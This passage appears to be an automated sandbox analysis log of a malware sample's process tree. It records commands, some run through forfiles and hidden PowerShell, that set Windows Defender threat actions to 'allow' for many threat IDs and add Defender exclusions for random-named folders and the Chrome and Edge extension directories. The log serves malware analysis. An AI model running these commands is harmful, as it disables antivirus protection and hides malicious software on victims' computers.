                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                          4⤵
                                                            PID:3564
                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                              5⤵
                                                                PID:3372
                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                            forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                            3⤵
                                                              PID:3784
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                4⤵
                                                                  PID:1284
                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                    5⤵
                                                                      PID:3464
                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                  3⤵
                                                                    PID:2244
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                      4⤵
                                                                        PID:3704
                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                          5⤵
                                                                            PID:3576
                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                        3⤵
                                                                          PID:396
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                            4⤵
                                                                              PID:1304
                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                5⤵
                                                                                  PID:2060
                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                              forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                              3⤵
                                                                                PID:2312
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                  4⤵
                                                                                    PID:5056
                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                      5⤵
                                                                                      • Drops file in System32 directory
                                                                                      • Modifies data under HKEY_USERS
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:2808
                                                                                      • C:\Windows\SysWOW64\gpupdate.exe
                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                        6⤵
                                                                                          PID:4696
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                  2⤵
                                                                                  • Drops file in System32 directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:4548
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                    3⤵
                                                                                      PID:4092
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                        4⤵
                                                                                          PID:3840
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                        3⤵
                                                                                          PID:4808
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                          3⤵
                                                                                            PID:1152
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                            3⤵
                                                                                              PID:1676
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                              3⤵
                                                                                                PID:2576
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                3⤵
                                                                                                  PID:1424
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                  3⤵
                                                                                                    PID:1072
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                    3⤵
                                                                                                      PID:5004
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                      3⤵
                                                                                                        PID:1768
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                        3⤵
                                                                                                          PID:1824
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                          3⤵
                                                                                                            PID:2556
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                            3⤵
                                                                                                              PID:3400
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                              3⤵
                                                                                                                PID:3476
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:2524
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:2620
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:2784
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:1656
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:3156
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                          3⤵
                                                                                                                            PID:4424
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:4800
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:2012
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                3⤵
                                                                                                                                  PID:4712
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                  3⤵
                                                                                                                                    PID:3468
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:2652
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:2084
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:3028
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:1524
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:1820
                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                            2⤵
                                                                                                                                            • Drops file in System32 directory
                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:4592
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:1472
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                  4⤵
                                                                                                                                                    PID:560
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:3576
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:3064
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1304
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:4092
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:4808
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:1152
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                              3⤵
                                                                                                                                                                PID:1676
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:2576
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:1424
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:3696
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:4308
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:4604
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:4832
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:744
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:3728
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:5056
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:1816
